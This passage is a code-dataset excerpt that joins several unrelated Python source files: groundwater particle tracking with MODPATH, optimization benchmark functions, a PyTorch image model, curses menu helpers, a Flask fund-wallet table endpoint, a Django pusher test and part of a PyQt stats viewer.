ncol)\n elif b'FLOW LOWER FACE ' in rec.text:\n int_flow_lower = im.imeth1(BUFF)\n int_flow_top = np.roll(int_flow_lower, rxc)\n elif b'STORAGE' in rec.text:\n bound_flow[: , 0] += im.imeth1(BUFF)\n else:\n print('Unrecognized budget type')\n\n if rec.text not in internal_flow_list:\n if rec.imeth == 1:\n bound_flow[:, 0] += im.imeth1(BUFF)\n elif rec.imeth == 2:\n bound_flow[:, 0] += im.imeth2(BUFF)\n elif rec.imeth == 3:\n bound_flow += im.imeth3(BUFF)\n elif rec.imeth == 4:\n bound_flow += im.imeth4(BUFF)\n elif rec.imeth == 5:\n bound_flow += im.imeth5(BUFF)\n else:\n print('Unrecognized budget type')\n\n storage[rec.per_num , :] += bound_flow[:, 0]\n\n qx1[rec.per_num , :] = int_flow_left + bound_flow[:, 1]\n qx2[rec.per_num , :] = int_flow_right - bound_flow[:, 2]\n\n qy1[rec.per_num , :] = -int_flow_front + bound_flow[:, 3]\n qy2[rec.per_num , :] = -int_flow_back - bound_flow[:, 4]\n\n qz1[rec.per_num , :] = -int_flow_lower + bound_flow[:, 5]\n qz2[rec.per_num , :] = -int_flow_top - bound_flow[:, 6]\n\n qin1 = np.where(qx1 > 0, qx1, 0)\n qin2 = np.where(qx2 < 0, -qx2, 0)\n qin3 = np.where(qy1 > 0, qy1, 0)\n qin4 = np.where(qy2 < 0, -qy2, 0)\n qin5 = np.where(qz1 > 0, qz1, 0)\n qin6 = np.where(qz2 < 0, -qz2, 0)\n\n flow_sum = np.sum((qin1, qin2, qin3, qin4, qin5, qin6), axis=0)\n\n # set the flow to zero for cells that went dry during the simulation and also for isolated cells\n flow_sum[0, heads.ravel() == hdry] = 0\n # flow_sum[heads.ravel() > 1.E+29] = 0\n\n print (' ... done' )\n\n\n # ## Repeat cell coordinates for the number of particles\n\n # For now hardwired to first stress period. \n\n # In[ ]:\n\n t_num_parts = 2.0E+06\n flow_per_period = flow_sum[0, :]\n f = t_num_parts / flow_per_period.sum()\n\n parts_per_cell = np.rint( flow_per_period * f ).astype( np.int32 )\n\n l, r, c = np.indices(( nlay, nrow, ncol ))\n\n lrep = np.repeat( l, parts_per_cell.ravel() )\n rrep = np.repeat( r, parts_per_cell.ravel() )\n crep = np.repeat( c, parts_per_cell.ravel() )\n num_parts = lrep.shape[0]\n\n print(num_parts)\n\n\n # In[ ]:\n\n print('Min number of particles per active cell = {:10.0f}'.format(parts_per_cell[ibound.ravel() != 0].min()))\n print('Mean number of particles per active cell = {:10.0f}'.format(parts_per_cell[ibound.ravel() != 0].mean()))\n print('Max number of particles per active cell = {:10.0f}'.format(parts_per_cell[ibound.ravel() != 0].max()))\n\n\n # ## Limit vertical particle placement to the saturated part of each cell\n # MODPATH wants particle locations as the layer, row, column (which we now have) plus the relative cell coordinates within each cell over (0, 1). In this application relative cell coordinates are generated randomly. In partially saturated cells, the random particle location is scaled to the saturated thickness. \n\n # In[ ]:\n\n # generate random relative coordinates within a cell in 3D\n cell_coords = np.random.rand( num_parts, 3 )\n\n # calculate the fraction of saturation; unsaturated = 0, partially saturated 0 to 1, fully saturated = 1\n vfrac = sat_thk_cell / -np.diff(grid, axis=0)\n\n # replace z coordinate with random number scaled to vfrac\n cell_coords[:, 2] = np.random.rand( num_parts ) * np.repeat( vfrac, parts_per_cell.ravel())\n\n\n # ## Assign depth related group number\n # \n # Particle groups are assigned based on the relative position. Other approaches could be substitued. They must be integers. Zone numbers can be read into the label variable. \n\n # In[ ]:\n\n # percent_thk_lay = sat_thk_cell[:num_surf_layers, :, :] / sat_thk_cell[:num_surf_layers, :, :].sum(axis=0)\n # percent_thk_lay_cum = 1 - np.cumsum(percent_thk_lay, axis=0)\n\n # z_cell = cell_coords[:, 2]\n # rel_z_pos = percent_thk_lay_cum[lrep, rrep, crep] + z_cell * percent_thk_lay[lrep, rrep, crep]\n # group = np.digitize(1 - rel_z_pos, np.linspace(0, 1, num_depth_groups + 1))\n group = 1\n\n\n # ## Read zone array to use as particle label. \n # \n # To Do : Add code to read zone array\n\n # In[ ]:\n\n # zones = np.readtxt()\n label = 1\n\n\n # ## Create particle array\n # Particles locations are assembled into an array in MODPATH format. Then sort them by group. MODPATH seems to like that.\n\n # In[ ]:\n\n grid = 1\n\n particles = np.zeros( ( num_parts, 11 ) )\n particles[:, 0] = np.arange( 1, num_parts + 1 )\n particles[:, 1] = group\n particles[:, 2] = grid\n particles[:, 3] = lrep + 1\n particles[:, 4] = rrep + 1\n particles[:, 5] = crep + 1\n particles[:, 6:9] = cell_coords\n particles[:, 9] = release_time_trk\n particles[:, 10] = label\n\n # sort_index = np.argsort(group)\n # particles = particles[sort_index, :]\n\n\n # ## Write particle starting locations\n # The external particle starting locations file is written, including header information.\n\n # In[ ]:\n\n print(' Write starting locations for {} particles'.format(particles.shape[0]))\n\n PartStartForm = '%6d %6d %3d %3d %3d %3d %12.9f %12.9f %12.9f %12.9e %15.3f'\n line = '{:5d}\\n{:5d}\\n'.format(1, num_depth_groups + 1)\n for item in range(1, num_depth_groups + 2):\n line = line + 'group_{}\\n'.format(item)\n npart = ((particles[:, 1]) == item).sum()\n if item == (num_depth_groups + 1):\n line = line + '{:6d}'.format(npart)\n else:\n line = line + '{:6d}\\n'.format(npart)\n dst_pth = os.path.join(model_ws, '{}_flux.loc'.format(fpmg.name))\n np.savetxt(dst_pth, particles, delimiter=' ', fmt=PartStartForm, header=line, comments='')\n\n print (' ... done')\n\n\n # # Run MODPATH and read endpoint information\n\n # ## Get random cells to check budget computations\n # Select 10 random active cells to check cell budget\n\n # In[ ]:\n\n prng = np.random.RandomState(2909591)\n A = (particles[:, 3:6] - 1)\n A = A[prng.choice(A.shape[0], 10, replace=False), :]\n budchk = np.ones((10, 4))\n budchk[:, 1:] = A\n budchk = budchk.astype(np.int32())\n budchk = budchk.tolist()\n\n\n # ## Run MODPATH\n\n # In[ ]:\n\n print(' Write and run MODPATH')\n\n # prepare Modpath files \n SimulationType = 1 # 1 endpoint; 2 pathline; 3 timeseries\n TrackingDirection = 2 # 1 forward; 2 backward\n WeakSinkOption = 1 # 1 pass; 2 stop\n WeakSourceOption = 1 # 1 pass; 2 stop\n ReferemceTimeOption = 2 # 1 time value; 2 stress period, time step, relative offset\n StopOption = 2 # 1 stop with simulation 2; extend if steady state 3; specify time\n ParticleGenerationOption = 2 # 1 automatic; 2 external file\n TimePointOption = 1 # 1 none; 2 number at fixed intervals; 3 array\n BudgetOutputOption = 3 # 1 none; 2 summary; 3 list of cells; 4 trace mode\n ZoneArrayOption = 1 # 1 none; 2 read zone array(s) \n RetardationOption = 1 # 1 none; 2 read array(s) \n AdvectiveObservationsOption = 1 # 1 none; 2 saved for all time pts 3; saved for final time pt\n\n options = [SimulationType, TrackingDirection, WeakSinkOption, WeakSourceOption, ReferemceTimeOption, \n StopOption, ParticleGenerationOption, TimePointOption, BudgetOutputOption, ZoneArrayOption, \n RetardationOption, AdvectiveObservationsOption]\n\n mpname = '{}_flux'.format(fpmg.name)\n mp = fp.modpath.Modpath(modelname=mpname, modflowmodel=fpmg, dis_file=dis.file_name[0], exe_name=mp_exe_name,\n model_ws=model_ws, simfile_ext='mpsim', dis_unit=dis.unit_number[0])\n\n mpnf = '{}.mpnam'.format(fpmg.name)\n mplf = '{}.mplst'.format(fpmg.name)\n\n mpsim = fp.modpath.ModpathSim(mp, mp_name_file=mpnf, \n mp_list_file=mplf, \n option_flags=options,\n # ref_time=ref_time,\n ref_time_per_stp=[0, 0, 1.0],\n cell_bd_ct=10, \n bud_loc=budchk,\n extension='mpsim')\n\n mpbas = fp.modpath.ModpathBas(mp, hnoflo=hnoflo, hdry=hdry, \n def_face_ct=2, bud_label=['RECHARGE', 'DRAIN'], def_iface=[6, 6], \n laytyp=upw.laytyp.get_value(), ibound=ibound, \n prsity=por, prsityCB=0.20) \n\n mp.write_input()\n success, msg = mp.run_model(silent=False, report=True)\n\n # delete starting locations to save space--this information is now in the endpoint file\n\n dst_pth = os.path.join(model_ws, '{}_flux.loc'.format(fpmg.name))\n os.remove(dst_pth)\n\n print (' ... done')\n\n\n # ## Check budget\n # Compare the calculated composite budget in the notebook to the cell budget output from MODPATH.\n\n # In[ ]:\n\n with open(os.path.join(model_ws, '{}.mplst'.format(mpname)), 'r') as f:\n lines = f.readlines()\n\n fl = []\n re = []\n for i in lines:\n if 'FLOW IN' in i:\n fl.append(np.float32(i[33:52]))\n if 'QZ2' in i:\n re.append(np.float32(i[48:62]))\n\n def seq(item):\n return item[1] * rxc + item[2] * ncol + item[3] \n seq_arr = np.array([seq(item) for item in budchk])\n\n for k, i in enumerate(seq_arr):\n print('notebook budget for zero-based cell cell {}'.format(budchk[k]))\n \n print(' qx1 = {:10.4f} qx2 = {:10.4f}'.format(qx1[0, i], qx2[0, i]))\n print(' qy1 = {:10.4f} qy2 = {:10.4f}'.format(qy1[0, i], qy2[0, i]))\n print(' qz1 = {:10.4f} qz2 = {:10.4f}'.format(qz1[0, i], qz2[0, i]))\n print('total in from notebook = {:10.4f}'.format(flow_sum[0, i]))\n print('total in from modflow = {:10.4f}'.format(fl[k+1]))\n print('net notebook total boundary inflow = {:10.4f}'.format(bound_flow[i, :].sum()))\n print('net notebook upper boundary flow = {:10.4f}'.format(qz2[0, i]))\n print('net modflow upper boundary flow = {:10.4f}'.format(re[k+1]))\n print()\n\n\n # In[ ]:\n\n\n\n","repo_name":"DOI-USGS/gw-res-time","sub_path":"Scripts/01a+Calculate+flux-weighted+whole+aquifer--Particles.py","file_name":"01a+Calculate+flux-weighted+whole+aquifer--Particles.py","file_ext":"py","file_size_in_byte":24779,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"4082218846","text":"import numpy as np\n\n\ndef tree_valley_function(x):\n \"\"\"\n Represents a two dimensional Function, with two local and one global minima\n :param x: 1D Rowvector (multiple Values can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy array\n \"\"\"\n\n y = -(\n np.exp(-((x - 2) ** 2))\n + np.exp(-((x - 6) ** 2) / 10)\n + 1 / (x ** 2 + 1)\n )\n\n return y\n\n\ndef four_humps_function(x):\n \"\"\"\n Function with one global maxima, one local maximum, one glomal minimun an\n a locam minimum\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy array\n \"\"\"\n\n y = (1 - x[:, 0] / 2 + x[:, 0] ** 5 + x[:, 1] ** 3) * np.exp(\n -x[:, 0] ** 2 - x[:, 1] ** 2\n )\n\n return y\n\n\ndef himmelblaus_function(x):\n \"\"\"\n The Himmelblau Function is a multi-modal function, with one local maximum\n four local minima.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy array\n \"\"\"\n\n y = (x[:, 0] ** 2 + x[:, 1] - 11) ** 2 + (x[:, 0] + x[:, 1] ** 2 - 7) ** 2\n\n return y\n\n\ndef rotated_hyper_ellipsoid_function(x):\n \"\"\"\n The Rotated Hyper-Ellipsoid function is continuous, convex and unimodal.\n It is an extension of the Axis Parallel Hyper-Ellipsoid function,\n also referred to as the Sum Squares function.\n :param x: N-Dimensional Vector rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy Array\n \"\"\"\n x = np.atleast_2d(x)\n y = np.zeros(x.shape[0])\n for i in range(x.shape[1]):\n y = y + x[:, i] ** 2\n\n return y\n\n\ndef matyas_function(x):\n \"\"\"\n The Matyas function has no local minima except the global one.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy array\n \"\"\"\n\n y = 0.26 * (x[:, 0] ** 2 + x[:, 1] ** 2) - 0.48 * x[:, 0] * x[:, 1]\n\n return y\n\n\ndef cross_in_tray_function(x):\n \"\"\"\n The Cross-in-Tray function has multiple global minima. It is shown here\n with a smaller domain in the second plot, so that its characteristic\n \"cross\" will be visible.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy array\n \"\"\"\n\n fact1 = np.sin(x[:, 0]) * np.sin(x[:, 1])\n fact2 = np.exp(np.abs(100 - np.sqrt(x[:, 0] ** 2 + x[:, 1] ** 2) / np.pi))\n y = -0.0001 * (abs(fact1 * fact2) + 1) ** 0.1\n return y\n\n\ndef SixHumpCamelFunction(x):\n \"\"\"\n he plot on the left shows the six-hump Camel function on its recommended\n input domain, and the plot on the right shows only a portion of this\n domain, to allow for easier viewing of the function's key characteristics.\n The function has six local minima, two of which are global.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: function values of x\n :rtype: Numpy array\n \"\"\"\n\n x1 = x[:, 0]\n x2 = x[:, 1]\n y = (\n (4 - 2.1 * x1 ** 2 + (x1 ** 4) / 3) * x1 ** 2\n + x1 * x2\n + (-4 + 4 * x2 ** 2) * x2 ** 2\n )\n return y\n\n\ndef michalewicz_function(x):\n \"\"\"\n The Michalewicz function has d! local minima, and it is multimodal.\n The parameter m defines the steepness of they valleys and ridges;\n a larger m leads to a more difficult search.\n The recommended value of m is m = 10.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function Values of x\n :rtype: Numpy array\n Funktioniert nicht so wie es soll\n Quelle:\n http://www.sfu.ca/~ssurjano/michal.html\n \"\"\"\n\n m = 10\n y = np.zeros(x.shape[0])\n for i in range(x.shape[1]):\n y = y + np.sin(x[:, i]) * (np.sin(i * x[:, i] ** 2 / np.pi)) ** (2 * m)\n return -y\n\n\ndef rastrigin_function(x):\n \"\"\"\n The Rastrigin function has several local minima. It is highly multimodal,\n but locations of the minima are regularly distributed.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function Values of x\n :rtype: Numpy array\n \"\"\"\n\n dim = x.shape[1]\n y = np.zeros(x.shape[0])\n for i in range(x.shape[1]):\n y = y + x[:, i] - 10 * np.cos(2 * np.pi * x[:, i])\n return 10 * dim + y\n","repo_name":"hbrs-cse/treeopt","sub_path":"tests/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"70835659688","text":"import torch\r\nimport torch.nn as nn\r\nfrom Models import Conformer, SwinTransformer\r\n\r\n\r\ndef bilinear(x):\r\n '''\r\n input: [N, C, H, W]\r\n output: [N, C, C]\r\n Bilinear pooling and sqrt for X-self.\r\n '''\r\n if len(x.shape) == 3:\r\n x = x.permute(0, 2, 1)\r\n if len(x.shape) == 4:\r\n N, C, H, W = x.shape\r\n x = torch.reshape(x, (N, C, H * W))\r\n N, C, HW = x.shape\r\n x = torch.bmm(x, torch.transpose(x, 1, 2)) / (HW)\r\n x = torch.sqrt(F.relu(x)) - torch.sqrt(F.relu(-x))\r\n return x\r\n\r\nclass PMTSPN(nn.Module):\r\n\r\n def __init__(self, device):\r\n super(multiswin, self).__init__()\r\n self.features = Conformer.Conformer(embed_dim=384, num_heads=6, qkv_bias=True)\r\n self.features.load_state_dict(torch.load(\"Module/Conformer_small_patch16.pth\", map_location=torch.device(device)))\r\n dims = [64, 64, 128, 256]\r\n hirs = [16, 16, 16, 32]\r\n wirs = [16, 16, 32, 32]\r\n wins = [4, 4, 8, 16]\r\n self.trans1 = nn.ModuleList([nn.Sequential(nn.AvgPool1d(8, 8),\r\n *[SwinTransformer.BasicLayer(dim=dims[n], input_resolution=(\r\n hirs[n] // 2 ** i, wirs[n] // 2 ** i), depth=2, num_heads=8,\r\n window_size=wins[n] // 2 ** i,\r\n mlp_ratio=4., qkv_bias=True,\r\n qk_scale=None, drop=0., attn_drop=0.,\r\n drop_path=0., norm_layer=nn.LayerNorm,\r\n downsample=SwinTransformer.PatchMerging,\r\n use_checkpoint=False) for i in\r\n range(3)]) for n in range(4)])\r\n\r\n self.trans2 = nn.ModuleList([nn.Sequential(nn.AvgPool1d(3, 3),\r\n *[SwinTransformer.BasicLayer(dim=256, input_resolution=(\r\n 16 // 2 ** i, 24 // 2 ** i), depth=2, num_heads=8,\r\n window_size=8 // 2 ** i,\r\n mlp_ratio=4., qkv_bias=True,\r\n qk_scale=None, drop=0., attn_drop=0.,\r\n drop_path=0., norm_layer=nn.LayerNorm,\r\n downsample=SwinTransformer.PatchMerging,\r\n use_checkpoint=False) for i in\r\n range(3)]) for n in range(4)])\r\n self.final_learner = nn.Sequential(\r\n nn.Linear(11776, 1024),\r\n nn.ReLU(),\r\n nn.Linear(1024, 1024),\r\n nn.ReLU(),\r\n nn.Linear(1024, 1),\r\n nn.Sigmoid()\r\n )\r\n\r\n def forward(self, x1, x2):\r\n xs1, xts1 = self.features(x1)\r\n xs2, xts2 = self.features(x2)\r\n # 1 4 8 12[0,3,7,11]\r\n flags = [0, 3, 7, 11]\r\n res = []\r\n rets = []\r\n for i, f in enumerate(flags):\r\n x1, xt1, x2, xt2 = bilinear(xs1[f]), bilinear(xts1[f]), bilinear(xs2[f]), bilinear(xts2[f])\r\n x1 = torch.cat((x1, x2), dim=2)\r\n x2 = torch.cat((xt1, xt2), dim=2)\r\n x1 = self.trans1[i](x1).flatten(1)\r\n x2 = self.trans2[i](x2).flatten(1)\r\n res.append(x1)\r\n rets.append(x2)\r\n\r\n res = torch.cat(res, dim=1)\r\n rets = torch.cat(rets, dim=1)\r\n result = torch.cat((res, rets), dim=1)\r\n return self.final_learner(result)\r\n","repo_name":"INDTLab/PMTSPN","sub_path":"Models/PMTSPN.py","file_name":"PMTSPN.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"18920597792","text":"import curses\nfrom curses import wrapper\nfrom curses.textpad import Textbox, rectangle\nfrom typing import List\n\ndef print_centered(window: curses.window, text:str, optional_message:str = \"\"):\n height = text.count(\"\\n\")\n width = 0\n for row in text.split(\"\\n\"):\n if len(row) > width:\n width = len(row)\n y, x = window.getmaxyx()\n y_banner = y//2 - height//2\n x_banner = x//2 - width//2\n window.clear()\n \n rectangle(window, y_banner, x_banner-2, y_banner+height, x_banner+width+2)\n window.addstr(y_banner-2, x//2-len(optional_message)//2, optional_message)\n for row in text.split(\"\\n\"):\n window.addstr(y_banner, x_banner, row)\n y_banner += 1\n window.refresh()\n\ndef centered_coords(window: curses.window, width: int, height: int):\n h, w = window.getmaxyx()\n x = w // 2 - width // 2\n y = h // 2 - height // 2\n return (x, y)\n\ndef centered_box(window: curses.window, width: int, height: int):\n x, y = centered_coords(window, width, height)\n box = curses.newwin(height, width, y, x)\n rectangle(window, y - 1, x - 1, y + height, x + width)\n window.refresh()\n return box\n\ndef textbox_builder(\n window: curses.window, width: int, height: int, header: str, footer: str\n) -> str:\n # BOXES CREATION\n box = centered_box(window, width, height)\n x_cord, y_cord = centered_coords(window, width, height)\n h, w = box.getmaxyx()\n sub_box = curses.newwin(1, width - 4, y_cord + height - 5, x_cord + 2)\n textbox = Textbox(sub_box)\n\n # DRAWING BOXES\n rectangle(box, height - 6, 1, height - 4, width - 2)\n box.addstr(0, w // 2 - len(header) // 2, header, curses.A_UNDERLINE)\n box.addstr(h - 2, w // 2 - len(footer) // 2, footer, curses.color_pair(2))\n\n # GETTING USER INPUT\n box.refresh()\n sub_box.refresh()\n curses.curs_set(1)\n textbox.edit()\n curses.curs_set(0)\n # CLEARING OUT\n window.clear()\n\n return textbox.gather().replace(\" \", \"\")\n\ndef alert_message(window: curses.window, width, height, title, content, ending):\n box = centered_box(window, width, height)\n y, x = box.getmaxyx()\n # ADDING THE CONTENT TO THE BOX\n box.addstr(0, x // 2 - len(title) // 2, title, curses.A_UNDERLINE)\n box.addstr(2, 0, content)\n box.addstr(y - 1, x // 2 - len(ending) // 2, ending, curses.color_pair(2))\n box.refresh()\n # ERASING THE ALERT_MESSAGE IF ENTER KEY IS PRESSED\n while True:\n key = box.getch()\n if key == curses.KEY_ENTER or key in [10, 13]:\n box.clear()\n window.clear()\n box.refresh()\n del box\n break\n\ndef menu_builder(\n window: curses.window,\n width: int,\n header: str,\n options: List[str],\n footer: str,\n default_options: List[str] = [],\n) -> str:\n options += default_options\n height = len(options) + 5\n box = centered_box(window, width, height)\n selected_row = 0\n while True:\n # DRAW MENU\n box.clear()\n box.addstr(0, width // 2 - len(header) // 2, header, curses.A_UNDERLINE)\n for row, value in enumerate(options, ):\n if row == selected_row:\n box.addstr(row+2, width // 2 - len(value) // 2, value, curses.color_pair(2))\n else:\n box.addstr(row+2, width // 2 - len(value) // 2, value)\n box.addstr(height - 1, width // 2 - len(footer) // 2, footer)\n box.refresh()\n\n # CHANGE ROW\n key = window.getch()\n if key == curses.KEY_UP: \n selected_row -= 1\n selected_row %= len(options)\n elif key == curses.KEY_DOWN: \n selected_row += 1\n selected_row %= len(options)\n elif key == curses.KEY_ENTER or key in [10, 13]: \n window.clear()\n return options[selected_row]\n\ndef confirmation_box(window: curses.window, message:str) -> bool:\n window.clear()\n answer = menu_builder(window, 50, message, [\"SI\", \"NO\"], footer=\"Presiona para confirmar.\")\n if answer == \"SI\":\n return True\n if answer == \"NO\":\n return False\n\n\ndef es_telefono_valido(telefono:str):\n validacion = telefono.replace(\"\\n\", \"\").strip().isnumeric()\n if validacion==False:\n return False\n elif len(telefono) != 8:\n return False\n else:\n return True\n","repo_name":"DanielRasho/Project-T","sub_path":"modules/interface/menus.py","file_name":"menus.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12440979631","text":"import pytz\nimport pymongo\nimport decimal\nfrom bson.objectid import ObjectId\nfrom datetime import datetime\nfrom config import TIMEZONE\nfrom flask import jsonify, request\nfrom flask_login import current_user\nfrom app import mongo\nfrom app.auth.models import User\nfrom prime_admin.globals import convert_to_utc\nfrom prime_admin import bp_lms\n\n\n\n@bp_lms.route('/branches//fund-wallet-statements/dt', methods=['GET'])\ndef fetch_branch_fund_wallet_statements_dt(branch_id):\n draw = request.args.get('draw')\n start, length = int(request.args.get('start')), int(request.args.get('length'))\n date_from = request.args.get('date_from', '')\n date_to = request.args.get('date_to', '')\n category = request.args.get('category', '')\n description = request.args.get('description', '')\n total_records: int\n filtered_records: int\n match = {}\n \n if branch_id == 'all':\n total_fund_wallet = 0.00\n\n if current_user.role.name == \"Admin\":\n pass\n elif current_user.role.name == \"Manager\":\n match = {'branch': {\"$in\": current_user.branches}}\n elif current_user.role.name == \"Partner\":\n match = {'branch': {\"$in\": current_user.branches}}\n elif current_user.role.name == \"Secretary\":\n match = {'branch': current_user.branch.id}\n accounting = mongo.db.lms_accounting.find_one({\"branch\": current_user.branch.id})\n total_fund_wallet = decimal.Decimal(str(accounting.get('total_fund_wallet', \"0.00\")))\n else:\n if current_user.role.name == \"Admin\":\n match = {'branch': ObjectId(branch_id)}\n accounting = mongo.db.lms_accounting.find_one({\"branch\": ObjectId(branch_id)})\n elif current_user.role.name == \"Manager\":\n match = {'branch': ObjectId(branch_id)}\n accounting = mongo.db.lms_accounting.find_one({\"branch\": ObjectId(branch_id)}) \n elif current_user.role.name == \"Partner\":\n match = {'branch': ObjectId(branch_id)}\n accounting = mongo.db.lms_accounting.find_one({\"branch\": ObjectId(branch_id)}) \n elif current_user.role.name == \"Secretary\":\n match = {'branch': current_user.branch.id}\n accounting = mongo.db.lms_accounting.find_one({\"branch\": current_user.branch.id})\n\n total_fund_wallet = decimal.Decimal(str(accounting.get('total_fund_wallet', \"0.00\")))\n\n if date_from != \"\":\n match['date'] = {\"$gt\": convert_to_utc(date_from, 'date_from')}\n \n if date_to != \"\":\n if 'date' in match:\n match['date']['$lt'] = convert_to_utc(date_to, 'date_to')\n else:\n match['date'] = {'$lt': convert_to_utc(date_to, 'date_to')}\n \n if category != \"\":\n match['category'] = category\n \n if description != \"\":\n match['description'] = description \n \n statements_query = mongo.db.lms_fund_wallet_transactions.find(match).sort('date', pymongo.DESCENDING).skip(start).limit(length)\n\n total_records = mongo.db.lms_fund_wallet_transactions.find(match).count()\n filtered_records = statements_query.count()\n\n table_data = []\n \n for statement in statements_query:\n date = statement.get('date', None)\n description = statement.get('description', '')\n category = statement.get('category', '')\n amount_received = statement.get('amount_received', 0.00)\n total_amount_due = statement.get('total_amount_due', 0.00)\n statement_type = statement.get('type', '')\n running_balance = decimal.Decimal(str(statement.get('running_balance', 0.00)))\n created_by = statement.get('created_by', 0.00)\n remarks = statement.get('remarks', 0.00)\n \n if type(date == datetime):\n local_datetime = date.replace(tzinfo=pytz.utc).astimezone(TIMEZONE).strftime(\"%B %d, %Y\")\n elif type(date == str):\n to_date = datetime.strptime(date, \"%Y-%m-%d\")\n local_datetime = to_date.strftime(\"%B %d, %Y\")\n else: \n local_datetime = ''\n \n if category == \"salary_and_rebates\" or category == \"salary\" or category == \"rebates\":\n contact_person : User = User.objects.get(id=description)\n description = contact_person.full_name\n \n if category == \"office_supply\":\n supplier = statement.get('account_no', '')\n else:\n supplier = \"\"\n \n table_data.append([\n local_datetime,\n category.upper(),\n description,\n supplier,\n str(amount_received) if statement_type == \"add_fund\" else '',\n str(total_amount_due) if statement_type == \"expenses\" else '',\n str(round(running_balance, 2)),\n created_by,\n ])\n\n response = {\n 'draw': draw,\n 'recordsTotal': filtered_records,\n 'recordsFiltered': total_records,\n 'data': table_data,\n 'totalFundWallet': str(total_fund_wallet)\n }\n\n return jsonify(response)","repo_name":"likes-team/prime-web-admin","sub_path":"prime_admin/datatables/fund_wallet_statement_datatable.py","file_name":"fund_wallet_statement_datatable.py","file_ext":"py","file_size_in_byte":5050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18209999319","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport shutil\nimport mock\n\nfrom django.contrib.auth.models import User\nfrom django.test import Client, RequestFactory, TestCase\nfrom django.core.urlresolvers import reverse\nfrom pusherable.mixins import PusherMixin\nfrom pusherable.example.models import PusherableExample\nfrom pusherable.example.views import PusherableExampleDetail\n\n\nclass TestPusherable(TestCase):\n\n def setUp(self):\n self.factory = RequestFactory()\n self.user = User.objects.create_user(\n username='pusher', email='pusher@example.com', password='hunter2'\n )\n self.object = PusherableExample.objects.create(\n text = \"This is a test PusherableExample object\"\n )\n\n @mock.patch(\"pusherable.mixins.Pusher\")\n def test_pusher_templatetags(self, Pusher):\n request = self.factory.get(reverse(\"example\", kwargs={\"pk\": self.object.pk}))\n request.user = self.user\n response = PusherableExampleDetail.as_view()(request, pk=self.object.pk)\n\n channel = u\"{model}_{pk}\".format(\n model=self.object._meta.model_name,\n pk=self.object.pk\n )\n\n self.assertContains(response, \"js.pusher.com/2.2/pusher.min.js\")\n self.assertContains(response, \"pusher.subscribe('{channel}');\".format(\n channel=channel\n ))","repo_name":"pusher/django-pusherable","sub_path":"tests/test_example.py","file_name":"test_example.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"53"}
+{"seq_id":"9788817234","text":"# -*- coding: utf-8 -*-\n\n\nfrom PyQt5.uic import loadUi\nfrom PyQt5.QtWidgets import QWidget, QFileDialog\nfrom PyQt5.QtCore import pyqtSlot, Qt\nfrom PyQt5.QtGui import QColor\nimport pyqtgraph as pg\nimport os\n\nimport numpy as np\n\n\nPRIMARY_LABEL_STYLE = {\n 'color': 'green',\n 'font-size': '20pt'\n}\n\nSECONDARY_LABEL_STYLE = {\n 'color': 'yellow',\n 'font-size': '20pt'\n}\n\n\nclass StatsViewer(QWidget):\n def __init__(self, settings, main_win):\n super(StatsViewer, self).__init__()\n # setup layout\n dir_ = os.path.abspath(os.path.dirname(__file__))\n loadUi('%s/ui/window/hits.ui' % dir_, self)\n self.plotWidget.setBackground(QColor(80, 80, 80))\n self.primaryData.clear()\n self.secondaryData.clear()\n # common variable\n self.sorted_idx = None\n # plot items\n self.primary_plot, self.secondary_plot = self.create_plot_items()\n self.primary_plot_item = pg.PlotDataItem(\n symbol='o', pen=QColor('green'), symbolBrush=QColor('green')\n )\n self.primary_hist_item = pg.PlotDataItem(\n stepMode=True, fillLevel=0,\n pen=QColor('green'), fillBrush=QColor('green')\n )\n self.secondary_plot_item = pg.PlotDataItem(\n symbol='o', pen=QColor('yellow'), symbolBrush=QColor('yellow')\n )\n # load settings\n self.settings = settings\n self.main_win = main_win\n self.data_dict = {}\n\n self.browseButton.clicked.connect(self.choose_and_load_stats)\n self.plotButton.clicked.connect(self.plot)\n self.primary_plot.vb.sigResized.connect(self.update_views)\n self.primary_plot_item.sigPointsClicked.connect(self.view_event)\n self.secondary_plot_item.sigPointsClicked.connect(self.view_event)\n\n def create_plot_items(self):\n p1 = self.plotWidget.plotItem\n p2 = pg.ViewBox()\n p1.showAxis('right')\n p1.scene().addItem(p2)\n p1.getAxis('right').linkToView(p2)\n p2.setXLink(p1)\n return p1, p2\n\n @pyqtSlot()\n def choose_and_load_stats(self):\n stats_file, _ = QFileDialog.getOpenFileName(\n self, \"Open Stats File\", 'cxi_hit', \"(*.npy)\"\n )\n if len(stats_file) == 0:\n return\n self.statsFile.setText(stats_file)\n self.load_stats(stats_file)\n\n @pyqtSlot(int, int)\n def view_hits(self, row, _):\n path = self.table.item(row, 0).text()\n dataset = self.table.item(row, 1).text()\n frame = int(self.table.item(row, 2).text())\n self.main_win.maybe_add_file(path)\n self.main_win.load_data(path, dataset=dataset, frame=frame)\n self.main_win.update_file_info()\n self.main_win.change_image()\n self.main_win.update_display()\n\n @pyqtSlot(object, object)\n def view_event(self, _, points):\n x = 